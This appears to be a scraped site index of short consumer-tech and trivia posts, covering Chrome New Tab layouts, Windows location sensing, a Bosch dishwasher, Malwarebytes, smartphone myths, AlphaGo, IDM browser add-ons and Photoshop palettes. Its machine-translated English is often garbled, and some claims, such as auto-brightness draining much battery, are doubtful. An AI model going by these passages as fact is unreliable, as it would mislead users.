​​Dial are two examples of completely redesigned New Tab extensions for user homepages.\nYou should keep in mind that some New Tab layouts may remove the New Tab background image.\n  Choose a New Tab layout. Click on a New Tab layout you like to go through its information and screenshots.\n  Click the blue ADD TO CHROME button located in the upper-right corner of the page.\n  Click Add extension when it appears. As such, the extension will be added to the Google Chrome browser.\nIt is possible that your browser will restart once the extension is added.\n  Click Keep changes when it appears. If the New Tab layout extension makes significant changes to the New Tab page, you may have to accept it by clicking Keep changes when it appears in the pop-up window.\n  Click the Home button in the upper-left corner of the Chrome page. You will be taken to a new personalized homepage.\nYou can access the homepage from any page, at any time by clicking the Home button.\nGoogle Chrome ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZKmdoqi8r63LorGenF2cvLCzy55knKCipLqmeceopJ6okZyy\n","link":"/post/how-to-set-up-a-personalized-google-chrome-homepage/","section":"post","tags":null,"title":"How to Set Up a Personalized Google Chrome Homepage"},{"body":"Not only can phones locate you, but on many laptops and desktops, there is also a location determination feature built into the hardware. Location Sensing on Windows 7 and Windows 8 is disabled by default. This article will show you how to turn on and turn off Location Sensing on Windows 7 and Windows 8.\nHow to enable or disable the Location Sensing feature on Windows 7 Step 1: Open the Start menu.\nStep 2: In the search box, type \" sensor \" (without quotes).\nStep 3: In the Control Panel list, select \" Enable location and other sensors \".\nStep 4: A list of installed sensors will appear.\nStep 5: Enable or disable this feature by using the checkbox next to Sensor. See the picture below.\nStep 6 : Click ' Apply '.\n  When a program or service requires location information from a Sensor, Windows 7 displays a small icon in the notification area (system tray).\nHow to enable or disable the Location Sension feature in Windows 8 Step 1 : Open Control Panel .\nStep 2 : In the Control Panel search box, enter \" sensor \" (without quotes).\nQuickly open the tools in Control Panel with Run Step 3: Click ' Change location setting s'.\nStep 4 : The dialog box shown below will appear.\nStep 5 : In this setting, you can select the option to allow users to turn on Location Sensing feature for each application (requires administrative rights if using this setting).\n  Check location activity in Windows 7 The Event Viewer is used to view the location request log that has been made.\nStep 1: Open the Start menu .\nStep 2: In the search box, type \" sensor \" (without quotes).\nStep 3 : In the Control Panel list, select ' View location activity '.\nThe figure below shows the sample log.\n  I wish you all success!\nSee more:\nDetermine the geographic location of a PC using Windows 7 Applications that track user location Turn off location tracking on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mq66qnmK8p7KMpaacmaSevK950p6lrKGenHqwuoywoKecn6zAboOMmqWdZaeeu6W71qxkcQ%3D%3D\n","link":"/post/how-to-turn-on-turn-off-location-sensing-on-windows-7-and-windows-8/","section":"post","tags":null,"title":"How to turn on, turn off Location Sensing on Windows 7 and Windows 8"},{"body":"With its luxurious design and smart features, the Bosch SMS25KI00E dishwasher has been the choice of many homes, restaurants and hotels. Today's article TipsMake.com will introduce briefly and show you how to use the dishwasher Bosch SMS25KI00E in the most detailed and easy to understand. Let's get started!\ncontent Learn about the Bosch dishwasher SMS25KI00E Instructions on how to use the dishwasher Bosch SMS25KI00E 1. How to install 2. How to add salt, varnishes and detergents 3. How to put dishes into a Bosch SMS25KI00E dishwasher 4. How to operate the control panel  Learn about the Bosch dishwasher SMS25KI00E Bosch SMS25KI00E is one of the most typical dishwashers of the Bosch brand (Germany). The product possesses luxurious and modern design. Each time, the machine wash up to 14 sets of dishes, very suitable for use in large families, restaurants, hotels .\nSome outstanding advantages of SMS25KI00E:\nFeatures Aquasensor: When operating, the dishwasher can automatically identify the level of clean dishes, pots, pans through the cleanliness of water, thereby helping to save maximum water and electricity. Allow setting time and quantity of items to be washed: With Bosch SMS25KI00E, you can easily set the operating hours before 1 to 24 hours. In addition, the machine also has the feature to identify the number of items to be washed to avoid wasting energy. Smart control panel: Dishwasher SMS25KI00E is equipped with a smart control panel system with a clear, intuitive, easy-to-use touch screen. In addition, the machine also has lights to add salt, water to ensure dishes are optimally cleaned. Some other outstanding features: 2 washing programs on the top half and VarioSpeed ​​help wash dishes faster, cleaner; The drying mode helps kill bacteria and allows you to use dishes immediately after washing. Technical data\nNoise level: 48dB Water consumption: 12 liters Timer: 24 hours Dimensions: Height x Width x Depth (84.5cm x 60cm x 60cm) Product weight: 51kg Power consumption: 1.05kWh / 140 minutes Quantity: 14 European suits Warranty: 24 months   Dishwasher Bosch SMS25KI00E\nInstructions on how to use the dishwasher Bosch SMS25KI00E 1. How to install The Bosch SMS25KI00E is a standalone dishwasher, so you can install it anywhere in the house, just make sure the location is right for your size (bottom area 60cm x 60cm, height 84, 5cm). In addition, you can also remove the top cover of the machine and mount the cabinet with dimensions of about 60cm x 60cm x 81.5cm. Regarding how to connect the power and water lines, you can refer to the manufacturer's detailed instructions. If you can't install it yourself, you can ask a qualified professional.\n2. How to add salt, varnishes and detergents After installation is complete, you need to add salt, varnish and detergent to the dishwasher. Salt has the effect of softening water, limiting deposits that clog water pipes. Shadow oil helps polish dishes. Detergents help clean dishes and need to be provided for each machine's operating cycle (each wash).\nSalt will be placed in the compartment at the bottom of the washing chamber. Gloss and detergent are put in a drawer on the inside of the door. When the salt and oil create a shadow, the indicator light on the display will light. 3. How to put dishes into a Bosch SMS25KI00E dishwasher Bosch Dishwasher SMS25KI00E has 3 stacks: The top truss is used to stack small items such as knives, forks, spoons, chopsticks…; second frame is used to arrange dishes; bottom truss for stacking pots and pans. When placing dishes and other items on the truss, you need to align them in the designed direction, do not place the dishes on top of each other or face the dishes upside down as this will reduce the contact of the water jets. , making it impossible to clean dishes. If you want to have more space to arrange items, you can move the Rackmatic technology tray up and down by about 5cm.\n4. How to operate the control panel Bosch SMS25KI00E owns 5 washing programs including intensive wash, automatic wash, economical wash, overnight wash and 1 hour quick wash. In addition, this device also has 2 additional options of accelerating VarioSpeed ​​Plus and Extra Dry enhanced drying.\n  Control panel of dishwasher SMS25KI00E\nWashing steps with the Bosch SMS25KI00E dishwasher\nStep 1: Press the Power key to operate the device. Step 2: When the display lights up, use the knob to select the appropriate washing program. Step 3: To activate additional options, press the corresponding option button. To cancel the option, press the button again. The screen will then display the amount of time needed for the wash settings that the user has set. Step 4: Press Start to start the machine. How to use the timer feature\nTo activate the DelayTime timer feature, press the time option button before clicking Start. At this point, the display will show a delay of 1 to 24 hours. You just need to turn the knob to select the desired time and then press the Start key, the machine will start operating after the delay time has been set.\nHow to reset the settings\nIf you want to adjust the settings after finishing the setup and let the computer boot, you need to press and hold the Start key for about 3 seconds until the screen shows the number of 1: 1. About 1 minute later, the machine will stop all running programs. At this point, you just need to turn off and on the computer with the Power button and then reinstall the program for the computer normally.\nHopefully our guide on how to use the dishwasher Bosch SMS25KI00E will help you. Wish you have the best experience with this device!\n\u0026gt;\u0026gt;\u0026gt; Maybe you are interested in:\n[Experience] Should buy a good dishwasher, cheap? Do dishwashers wash pots and pans? ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnUrJxmrJiaeqW10qGumquYmr9urs6smqFlo6LAc4HKomdpnQ%3D%3D\n","link":"/post/instructions-on-how-to-use-the-dishwasher-bosch-sms25ki00e/","section":"post","tags":null,"title":"Instructions on how to use the dishwasher Bosch SMS25KI00E"},{"body":" Free software Version: 4.3.0.206 Update date: January 14, 2021 Platforms: Windows, Mac, Android Download Malwarebytes Anti-Malware 4.3.0.206 here\nWhat is Malwarebytes Anti-Malware? Malwarebytes Anti-Malware is a free malware detection tool that helps to find out threats that have ingrained in your Windows system.\nIts core purpose is to scan for and remove malware that other antivirus programs miss. It is backed by a huge database that collects malware patterns and creates updates to remove them quickly. This free download security software only offers additional protection, and is also available for Android and Mac devices.\n  Features of Malwarebytes Anti-Malware Not an antivirus program Malwarebytes scans and removes malware deeply ingrained from Windows devices. However, it should not be mistaken for an antivirus program. Malwarebytes Anti-Malware is an additional protection program that works in conjunction with the main software. This version of the tool works on all Windows devices, including those running Windows 7 and Windows 10.\nSimple and neat interface Malwarebytes Anti-Malware comes with a streamlined, easy-to-navigate dashboard. To begin with, you have a prominent arrow pointing down to the Scan Now icon . There are also indicators that show the date and time of the last scan, as well as any latest updates. On the left side of the interface you will find 4 different categories including Scan, Exclusions, Quarantine, and Reports .\nThe Scan category gives the user the option to run a normal threat scan or choose a custom scan. All the programs in the allowed list are in the Exclusions section and you can update them at any time. The items that you find in Quarantine are the suspicious programs that Malwarebytes Anti-Malware quarantined. For detailed information on recent scans, you can refer to the Reports tab .\nThe left panel also includes a settings option containing various functions such as scan schedule, application, protection, exclusion and account details, etc . However, some of these features are only is intended for premium users using the paid version of the software. Basic functions like changing the program's language, checking the proxy server collection, and threat statistics are available to all users.\nLimited features to detect malware This anti-malware program has a core function. When you scan your Windows computer, the software will try to find and remove any malware that is missed by other antivirus programs. It is not a standalone antivirus, but offers additional protection when working in conjunction with programs like Windows Defender.\nHowever, the program does not scan emails before opening them. Real-time scanning and scheduling are limited to the premium version of the software. The free version also lacks features like webcam and password protection, file shredder and browser add-ons.\nGet rid of ingrained malware When you scan with Malwarebytes Anti-Malware, it will use the rootkit scanner to check the Volume Boot Record. By doing this, the software can detect ingested or fileless malware and catch them before they do any damage. The program focuses on detecting and removing malware in its early stages by looking for signs of infection.\nWhile this tool helps to remove unwanted programs, it is not designed to replace the primary antivirus software on your device. Its sole purpose is to add an extra layer of defense against threats. The software also collects samples of suspicious ransomware, adware, and spyware to create updates for the large community. This data collection is optional and you can opt out whenever you wish.\nIs Malwarebytes Anti-Malware safe to use? The answer is yes, Malwarebytes is safe to use on Windows devices. However, this is not an antivirus and should not be used as the primary protection system on their device.\nIs Malwarebytes Anti-Malware free? Yes, the software is free to download and comes with a 14-day free trial of the premium software. While the free version scans and removes only malware, the paid software is a complete antivirus program. It provides real-time protection, blocks adware and unwanted programs, and runs scheduled scans.\nIs the free version of Malwarebytes good? The free version of Malwarebytes provides additional protection against malware threats. However, it is not an antivirus toolkit. The software works in conjunction with other anti-virus programs to increase protection against threats.\nAre there any alternatives? If you are looking for a comprehensive antivirus, you should check out Norton Security Deluxe, BitDefender Total Security and Kaspersky.\nCan you trust Malwarebytes Anti-Malware? Downloading Malwarebytes on a Windows PC can provide you with additional protection against malware. The software has huge databases and can detect the malware that is ingrained in the system. It is capable of finding malware that other programs miss.\nUnfortunately, the free version of the software doesn't offer any additional capabilities. Therefore, if you just want to add an extra layer of protection to your existing antivirus, you should download Malwarebytes Anti-Malware.\nCheck out more article: Malwarebytes Review: Great front-line anti-malware program to dig deeper into this tool.\nAdvantages\nFree download Works together with anti-virus programs Malware detection and removal Provides a clear interface Defect\nMany features are limited to the paid version ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymabqK%2BeobyisIymmKWvkaeyo8XTnqpmmZ6ptq6ty7CYq51daYBxfo9v\n","link":"/post/link-download-malwarebytes-anti-malware-4-3-0-206/","section":"post","tags":null,"title":"Link download Malwarebytes Anti-Malware 4.3.0.206"},{"body":"Designer Ben Geskin recently shared a video of the iPhone with a sliding screen on his personal Twitter page. In the concept, the Rose Gold iPhone model has a full screen display, equipped with three cameras on the back. In the video, users use this sliding screen iPhone to both go to Instagram and watch YouTube at the same time.\nWhen sliding to the left a small part, the secondary screen hidden below will appear and act as a function bar to adjust music, take pictures .\n  When sliding to the right, a wider hidden screen will appear and act as a second screen to access applications, turning into a virtual keyboard .\nThe concept of this concept model is by the author called bat.not.bad. Ben Geskin just reposted it. According to Ben Geskin, the author calls the concept model iPhone Slide Pro.\nBen Geski's post about the sliding screen iPhone model has received a lot of attention from Twitter members, many predicting the device will cost over $ 3,000.\nHowever, perhaps this sliding screen iPhone model will never come true because Apple is not interested in developing slider screen smartphones. However, it seems the tech giant is quite interested in foldable smartphones. Rumor has it that Apple will launch a foldable, hybrid phone between the smartphone and iPad in 2020\nEarlier, designer Antonio De Rosa also launched the concept of a folding iPhone called the iPhone X Fold. This iPhone model has two screens with a folding design in, the rear camera cluster has three lenses.\nSuccessfully breaking iCloud on iPhone with checkra1n tool Apple may rent the iPhone because it sells it iPhone 12 design is like? ncG1vNJzZmismaXArq3KnmWcp51kwaK3xGaYZqSfpLhurdNmq6GdXZ66sb7ErKqirpVisLC6wp6nrWWfm3q1tMRmoKmgn6Oybr%2FLopueZaCnvG6%2Fy6KboqaXYsCkvsSepQ%3D%3D\n","link":"/post/take-a-look-at-the-impressive-concept-of-the-iphone-slide-pro-sliding-screen/","section":"post","tags":null,"title":"Take a look at the impressive concept of the iPhone Slide Pro sliding screen"},{"body":"Crickets - musician of nature: Insects that are easy to raise\nCrickets are short-lived creatures, only about 70-90 days. It is said that since the Tang Dynasty (618-907) of China, the concubines in the palace have traditionally invited each other to catch crickets in the autumn.\nIt is estimated that there are about 1,000 different species of crickets in nature, divided into two branches of cricket (Gryllidae) and mole crickets (Gryllotalpidae).\n It is not difficult to raise crickets because they are omnivorous, digesting both vegetables, fruits and other smaller insects. But the main reason crickets are \"hard\" is because males know the nape of the neck. By rubbing the outer outer winged ribs, they made a cry.\nIn the past, the Chinese emperor went to the palace of three continents, many concubines to thousands of people. To alleviate boredom in the days of waiting for the blessing, these free women drew up a variety of pleasures, including cricket raising.\n According to records, at least since the 8th century, cricket farming had been in the Chinese palace. Although not sure the \"king wife\" was the one who initiated the cricket raising game, it is true that because they like to catch crickets to feed, the folk also follow.\nRequired to be locked up because it can not be tamed\nIn the role of \"charismatic\" of concubines, crickets are locked in valuable cages of gold and silver. People put cricket cages at the head of the bed, eager to hear them crowing.\nAlthough raising crickets is not difficult, tame them into a pet that knows how to take ownership. Insect brains are too small, only aware of instincts, not to develop emotions like higher beings (eg birds, animals).\n Crickets are easy to raise but forced to confine\nChina is a land of four seasons, hot summers and winters cold. Although crickets are easy to raise, they also need specialized confinement tools, making sure the summer is cool and the winter is warm.\nInitially, people simply kept crickets in jars made of clay. Pottery profession soon appeared, providing all kinds of gadgets for daily life. Just a little variation is that the potters have a jar-shaped bottle with an air hole suitable for crickets.\nBut inconveniently, earthenware jars cannot be used for winter. It was too cold, causing crickets to die from freezing cold. They need a cage that is both breathable and cozy. And in response, the gourd cage was born.\n    Many thousands of pictures about cricket cages\nGourds: The most popular and specialized type of cricket cages\nGourd is a familiar plant in Asia, grown for young fruit as food and shell for ladle and container.\nAlso since the Tang Dynasty, the Chinese have known to dry hollow gourds as cricket cages. Unlike cold clay jars in winter weather, the inside of the potting covers is quite cozy. Just mix soil and lime spread a layer on the bottom or add a piece of cotton, so \"pet cricket\" has \"roof\".\n To make a cricket cage, dry it first and remove all the intestines. Then, add a few more holes to let air in. There is such a sketchy thing, I'm not worthy of the \"musicians of nature\". The artisans take part in turning the dried gourds into breathtaking handmade masterpieces.\nAt first, people just painted on the dry gourd. After that, the feat of creating the shape of a gourd cage from the beginning of flowering. They put wooden or metal molds on young gourds, forcing them to grow to their liking. The world of gourd cricket cage has become diverse, ranging from natural circle to cylinder, square, vase .\nAbove all is the effort to decorate the pods and covers of gourds. Through the skillful hands of the artisans, they range from simple geometric patterns to extremely intricate sculptured dragon dances.\nEspecially besides beautiful, cricket cage also amplifies the sound. It helps make crickets sounder and better.\nMe cricket through the times, until now has not been with\n After the gourd shells, Chinese people also make cricket cages ranging from turtle shells to coconut shells, sandalwood, even ivory. But the most common is the cage gourd, bamboo, wood, metal . The reason is simple, because they are both cheap and readily available and easy to create. In addition to cages, people also cast a super tiny porcelain tray to store food for crickets.\nIn the wild, except for the crowing of a male to flirt with a female, male crickets also use it to \"march their martial arts\" with the same sex. They are extremely aggressive, possibly because of their children or territories, which fight to a loss.\n Cricket cricket is now a hobby of many Chinese\nAfter enjoying the crowing sounds, Han people are also passionate about cricket fighting and raising crickets. Since the Song Dynasty (960-1279), cricket fighting became a widespread hobby.\nInterestingly, despite the past 1,000 years, Chinese people have not stopped loving crickets. It is only at the selling points of crickets today, they do not use the masterpieces of handicrafts anymore anymore but use bamboo cages or simple plastic cages only.\nRefer to Atlasobscura\nncG1vNJzZmismaXArq3KnmWcp51kw6K%2F02atmqqZmsG6ec6fZJyZl5rAbq%2FAqauuqpmjtG6tzZygnqakYrCptc2eqp5lk6e2pLfErapmrJiaeri7zZ2cq56loXqivtOinZqbpKh6sLKMppino5mjsQ%3D%3D\n","link":"/post/the-wonderful-artifacts-of-mankind/","section":"post","tags":null,"title":"The wonderful artifacts of mankind"},{"body":"What is Mod Skin, this word is understood that you use a software to change the appearance of the character, be it costume or change the appearance of the character. In addition to mod character skin, the player can also change the appearance of items, effects in the game.\nIf talking about mod skin in offline games, you must mention the Grand Theft Auto game series. From GTA Vice City and above, modding has become popular with this series. Then the games that often use mods are Counter Strike Offline, Minecraft .\n  Then there are online games that have mod skins like League of Legends, Mobile Alliance . With diverse skins on many different topics, including the skins of the generals in the game and even the costumes. There is no game.\nFor example, anime-style skins, often replaced by gamers for the default skins for champions in the game. Not only that, the skill effects will also be replaced when gamers develop skills.\nHowever, mod skins for characters or equipment in online games are only visible to you. And your teammates and enemies will only see the default image. So mod skin also only increases the spirit of gaming is the main.\n  There are many reasons why online game players use mod skins, but mostly there is no money to buy skins in the game. Gamers who use mod skins do not want to spend money on games. They just want to beautify their characters and the skins do not bring a slight change in the character strength parameters.\n  There are also very rich players who have a huge collection of skins but they still need mod skin software. Simply because mod skin has costumes, effects that can not buy money. But when using the new mod skin, you don't have to spend money to buy it.\n  For offline games, the mod skin will not affect your game, except that you use the mod tools improperly, resulting in file errors during the mod process.\nBut for online games, for example, if you mod the League of Legends skin, the chance of being banned is quite high when the game publisher has stated that using the software to mod skin will be locked out of the account. Not to mention, there will be game conflicts when updating and some risk of account information security.\n  Therefore, using mod skin with online games is something to consider as it will greatly affect the player's account. Especially when the account is permanently locked, there is nothing else. If you want to own unique skins without spending too much money, you can hunt for promotions or wait for the publisher to organize free skin-giving events for players.\nConfiguration smooth play LOL, configuration play League of Legends on the computer How to get free skins Mini World: Block Art How to get free skins for Minecraft Earth ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWdpLFuv8qipQ%3D%3D\n","link":"/post/what-is-mod-skin/","section":"post","tags":null,"title":"What is Mod Skin?"},{"body":"Like many different areas of life, smartphones also have misunderstandings in use that may have been true before but with the development of technology, it has become \"past.\" Today, we will synthesize the most basic misunderstandings about smartphones to send to you.\n9 tips on using smartphones may not be known Room, avoid and cure the phone when the battery bottle How to check IMEI on Android phones and iPhones It is recommended to close the application running in the background to save battery power and avoid slowing down the device iOS and Android allow applications to run in the background to operate multitasking more efficiently. This mistake seems to stem from the realization that the more programs run, the slower the device will be and its battery life. However, both Android and iOS operating systems limit the operation of applications while running in the background. Therefore, the level of battery drain and system slowdown is negligible.\n  The side effect of this misunderstanding led to the advent of numerous applications killer tasks on both Android and iOS app stores. These applications are really useless, not saving system resources and battery life. Because both Android and iOS automatically turn off tasks that run in the background when the machine needs memory, so the difference when there is no application running in the background is very small.\nShould the battery run out completely before charging again Older battery technologies NiCAD and NiMH will be more durable when they are completely depleted before charging again. Perhaps that makes many people still believe that it is better to charge a new battery to recharge. However, new battery technologies such as Lithium-ion have no memory effect problems like the old NiCAD and NiMH batteries. Even with the new batteries today, the advice of experts and manufacturers is not to be fully charged.\n  However, some experts still recommend users to run out of battery and charge it once every 3 months or after about 40 charging cycles. This is not to increase the battery life but to calibrate, making the battery percentage displayed on the phone screen correctly.\nBluetooth and Wi-Fi Direct consume lots of battery Bluetooth and Wi-Fi Direct are the technologies used to transfer data between devices with fast, cordless speeds. But do these technologies cost a lot of battery?\n  The answer is not because the new Bluetooth and Wi-Fi Direct versions currently consume very little battery when not in use. They only cost battery when activated to transfer data files to other devices, but when not transferring files but still to turn on Bluetooth and Wi-Fi Direct, the level of battery consumption is negligible.\nHigher configuration will have better performance Understanding this mistake is sometimes true, but in fact the higher configuration is not a reliable enough factor to confirm performance. Android has countless devices launched every year and some have very impressive configurations. However, having a high profile is not necessarily a good phone and runs smoothly.\n  Camera on the phone is the clearest proof when it comes to configuration race. In fact, the 12MP camera can take pictures much worse than 8MP cameras at all factors except the image size. The same thing applies to multi-core microprocessors\nIn fact, in addition to configuration, there are many other factors affecting performance such as operating system or application quality. For example, many Android phones have much better configurations than iPhones but run fast and smoothly without Apple's phones. In short, configuration is sometimes a way for manufacturers to flirt with users, not to be fooled.\nOnly use the charging tuber following the machine In some ways, this misunderstanding exists to help producers make a profit. While smartphone profits are getting smaller, the accessory market is an array that can bring in a lot of revenue for manufacturers. Misunderstanding this is also the motivation for you to spend 400,000 VND to millions of dong to buy genuine charger.\n  In fact, the charger tubers manufactured according to the standard can be used safely with smartphones. What we need to distinguish here is the quality difference between the charging batteries of unknown and inexpensive Chinese manufacturers. Quality companies like Belkin or Amazon and many other companies can safely use phones and are of the same quality as original Apple chargers and other Android phone manufacturers. Meanwhile, low-quality products of cheap Chinese companies have many potential risks.\nCharge the phone overnight to damage the battery   This is a misunderstanding that has been true in the past. But batteries and charging technologies have been improved and now it's completely wrong. Old battery technologies are not smart enough to realize when the battery is full, so long-lasting charging will gradually reduce battery life. The charging mechanism is now smarter. Once the phone is full, it will disconnect the charging power. So, you can rest assured to charge your smartphone before going to bed.\nRemoving the SIM and setting the flight mode will help you not be monitored The first important thing to understand is that unless you are a terrorist or hiding, the law enforcement agency doesn't really need or want to follow you.\nThe first is about airplane mode . Placing your phone in airplane mode will turn off Wi-Fi and mobile service, so switch your phone to \"do not disturb\" mode. In this mode, other people will not be able to contact you.\n  As we know, the phone has two operating systems. The first system connects to the mobile network, while the second system is the direct interface between the phone and the user. When you leave your phone in airplane mode, it disables part of the operating system but the rest of the phone communicates with the mobile network still works. Therefore, enabling flight mode can still be monitored.\nRemoving the SIM is also not effective because the phone still has the built-in identifier components that can be detected by mobile tracking devices or fake mobile transceiver stations. These devices are used by many US intelligence, military and law enforcement agencies.\nThe only way to avoid being monitored is to remove the phone battery. But if you use instant battery phones like the iPhone 6 or Samsung Galaxy S6, the only practical option is to give up your phone or buy an anti-tracking bag ( like the Ska-Direct phone protection bag ) that works like Faraday cage for the phone.\nAutomatic brightness setting saves battery power   This is a completely wrong perception. In fact, adjusting the brightness automatically saves some battery life by reducing the screen brightness to match the environment. But the light sensor itself also uses a lot of batteries when it constantly requires the CPU to process the collected data to make decisions about reducing or increasing screen brightness appropriate to the surrounding environment.\nAndroid's open source nature makes this platform more risky   Open source software, as its name implies, is a very open platform, allowing deep access to the operating system. But you may be surprised to know that Android is a safe operating system. Unsafe points are applications. The open nature of the Android app store and the ability to install applications from outside the official app store of Google makes Android phones easier to take advantage of than iOS, a tightly controlled Apple platform.\nHave a nice weekend!\nncG1vNJzZmismaXArq3KnmWcp51khm65zqyrZpuforqwuoymoKytnpmys7%2FTmqWdoZ6cwG6twaisrWWjoq6zwM%2Bhpqedo2LBsLDAsg%3D%3D\n","link":"/post/9-most-common-misunderstandings-about-smartphones-today/","section":"post","tags":null,"title":"9 most common misunderstandings about smartphones today"},{"body":"Once again, the artificial intelligence AlphaGo defeated Ke Jie, the No. 1 player in the world today. After beating Korean legend Lee Se Dol with a 4-1 score, AlphaGo quickly gained the attention of the public and became one of the most prominent AI to date.\nGo expert Michael Redmond remarked before the match: \" I think everyone recognizes that Ke Jie is the best Go player. \" But after more than 4 hours, the 19-year-old player has to succumb to AI from Google's DeepMind team.\nAlphaGo only wins with a half-point number but currently, this AI doesn't care how much to win but just picks the move so it wins. This version of AlphaGo, called Master , has 10 times the computational performance compared to the previous version (beating Lee Se Dol) and seems to have gained an advantage from the beginning. CEO and co-founder DeepMind Demis Hassabis said at the press conference after the game ended: \" It is really nice. Ke Jie played very well and pushed AlphaGo to his limit .\n  The team at DeepMind also said in the future, other AlphaGo versions can play according to different goals such as maximizing distance to win the opponent with the highest score. \" We want to use AlphaGo as a tool for the Go player community to use to improve their playing level, \" Hassabis said.\n  Demis Hassabis at the Future of Go Summit conference\nThe match between Ke and AlphaGo is part of the Future of Go Summit conference held by Google in Zhejiang, China this week. The second match will take place on Thursday (Chinese time) while the final match will take place on Saturday. On Friday, AlphaGo will take part in two matches, an AlphaGo will play as a teammate in a match between two Chinese players and the other one, AlphaGo alone will fight 5 players at a time.\nncG1vNJzZmismaXArq3KnmWcp51krq28x5qeqGWUmrOmrdOem2asmJp6uLvRpZusZZ6quqOx0Wamp51dnLxuvMuasJ6qXaCybrbIng%3D%3D\n","link":"/post/alphago-defeated-the-world-s-number-one-go-player-ke-jie/","section":"post","tags":null,"title":"AlphaGo defeated the world's number one Go player Ke Jie"},{"body":"Currently, Internet Download Manager (IDM) - a most used download support tool in the world. The frequent updates of new versions sometimes cause IDM not to catch links on popular browsers like Firefox and Google Chrome. Attached will cause inconvenience when you want to download on Youtube as well as other websites.\nSome reasons why IDM does not catch links on Firefox and Google Chrome: - Current version is outdated, has not updated to the latest version.\n- The IDM installed on your computer has expired.\n- Your IDM is corrupted.\nTo resolve this situation, I will guide you how to handle when encountering an IDM error that does not automatically start links on Firefox and Chrome:\nMethod 1: Update to the latest version for IDM. Normally IDM on your computer still catches the link but suddenly can't do this. The reason may be because your IDM version has not been updated to the latest version. To update IDM to the latest version, open IDM:\n  Then go to Help and select Check for updates .\n  Wait a moment for IDM to check the latest version, you may notice that the latest version of IDM is Version 6.21 Build 16 Final is available (Dec / 07/2014) . Then you select Update now to update the latest version.\n  After updating IDM, restart your browser to check.\nMethod 2: Check the IDM addon installation on Firefox and Google Chrome. 1. Firefox browser. Step 1: Download the IDMCC add-on to the computer at the link: https://addons.mozilla.org/en-us/firefox/collections/ardo/idm-cc-7-3-1/\nStep 2: Click on the downloaded IMDCC and click Install Now to install this add-on on Firefox.\n  Step 3: Go to Tools -\u0026gt; Add-ons (or use the keyboard shortcut Ctrl + Shift + A ).\n  Next, select Extensions and click Enable in the IMD CC section to enable this Add-ons.\n  Then click Restart now to start the browser to update the Add-ons IMDCC.\n  2. Google Chrome browser. Step 1: Turn on Google Chrome browser.\nStep 2: Go to https://chrome.google.com/webstore/search/idm?hl=en-US.\nThen press + FREE to install this Add-on to Google Chrome.\n  A dialog box confirms the add-on to Google Chrome, click Add .\n  Step 3: Copy the chrome: // extensions / paste link into Google Chrome browser.\nYou find the section IDM and then tick the box Enable .\n  So you have fixed the error IDM does not catch links on Firefox and Chrome. It's simple, right? Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ks6rExJ1kopydYrGwsdJmpaisXZiuta%2FHZqOippuoerC6jJ%2Bgq52WpMVurc2dZJygoqS6pg%3D%3D\n","link":"/post/fixed-idm-does-not-catch-links-on-firefox-and-chrome/","section":"post","tags":null,"title":"Fixed IDM does not catch links on Firefox and Chrome"},{"body":"In 2014, the 14-year-old Suvir Mirchandani wanted to make a plan for the US government to change the font to save hundreds of millions of dollars of printing money every year, making the public in the country 'waving'.\nAccording to Suvir Mirchandani, by volume, ink is twice as expensive as French perfume. And in fact, this calculation is absolutely correct. Specifically, every ounce (30 ml) of Chanel No.5 perfume costs $ 38, with the same volume of ink running for Hewlett Packard in the US can cost up to $ 75.\n  He wants to change the font to help save money on printing for the US.(Photo: CNN.)\nHe used both physical and software methods to demonstrate how the current use of fonts consumes terrible ink.\nSpecifically, Suvir tested writing letters with four Garamond, Times New Roman, Century Gothic and Comic Sans fonts and then used the commercial version of APFill® Ink Coverage Software to measure ink levels. The results show that, using Garamond, a slimmer font, the school can save 24% of ink every year, equivalent to $ 21,000.\nAnd if this font is widely used throughout the United States, the amount of ink can save up to about 400 million dollars per year.\n  Although very potential, it cannot be applied to reality at the present time because in addition to economic benefits it is also related to many other factors. But this is indeed a commendable study.\nAfter 3 years, Suvir Mirchandani has now become a student of Stanford University, one of the world's leading prestigious schools.\n Now Suvir Mirchandani has become a student of Stanford University.\nOn his personal blog site, Suvir shared that he is always researching to find low-cost technology solutions to improve and improve the quality of life while protecting the environment.\nSince shocking the United States with the font-changing initiative to save ink in 2014, Suvir has received numerous technological awards at Intel International Science and Technology Competition and the National Science Fair. Taiwan. In addition, in 2015, Suvir was invited to attend Apple's Global Development Conference.\nIn order to help people with speech disorders who can communicate better, Suvir recently developed iOS apps that illustrate text automatically.\n In addition, Suvir Mirchandani is a musical prodigy.\nIn addition to his passion for computer science, Suvir is also a talented piano prodigy, who has won numerous piano awards and three performances at the world-famous Carnegie Hall in the city. New York, USA. In addition, Suvir likes to write, photograph and play cricket sports when he is free.\nWith talent and passion for scientific research, Suvir will surely have many breakthrough researches in the future.\nSee also: The Vietnamese convertor into the new Vietnamese Tieuq\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdqbWmeZBtsJ6ZoqS5pXnBqLBmr5GjwW7AzmaaoZmenLJuwMeeZJ%2Bnnql6tbuMrJivnV1pfXF5zKKjpaGfo3qnu9Fmq6GdXarAbsDOZqqhmZuaera8jK2fnmWnpL%2BtsIynprA%3D\n","link":"/post/how-does-the-14-year-old-boy-want-to-change-the-font-to-save-400-million-for-the-us-to-shake-up-the-world-now/","section":"post","tags":null,"title":"How does the 14-year-old boy want to 'change the font' to save $ 400 million for the US to shake up the world now?"},{"body":"Adobe Photoshop is an extremely flexible program. Whether it's texture, gradient or paint brush, there seems to be no limit to how you can adjust this program to suit your needs.\nHowever, when it comes to coloring images, what happens if you don't like the default color swatch of Adobe Photoshop? Today's article will show you how to create a custom color palette in Photoshop.\nInstructions for creating custom palettes in Photoshop Step 1: Find color inspiration Step 2: Learn about the Color Swatches control panel Step 3: Delete old colors Step 4: Use Eyedropper tool Step 5: Create a new color pattern Step 6: Complete color modeling Step 7: Save the palette Step 8: Reset Swatches to default Step 9: Reload the color swatches Step 1: Find color inspiration   The first thing to do is open an image where you can get inspired from it.\nThis tutorial will use the file created in the article to use blending mode in Photoshop.\nAfter opening the file, you will see a screen setup similar to the example. The image will be in the middle of the workspace and the default palette will be on the right.\nStep 2: Learn about the Color Swatches control panel   The place where today's article will focus is primarily on the Color Swatches dashboard 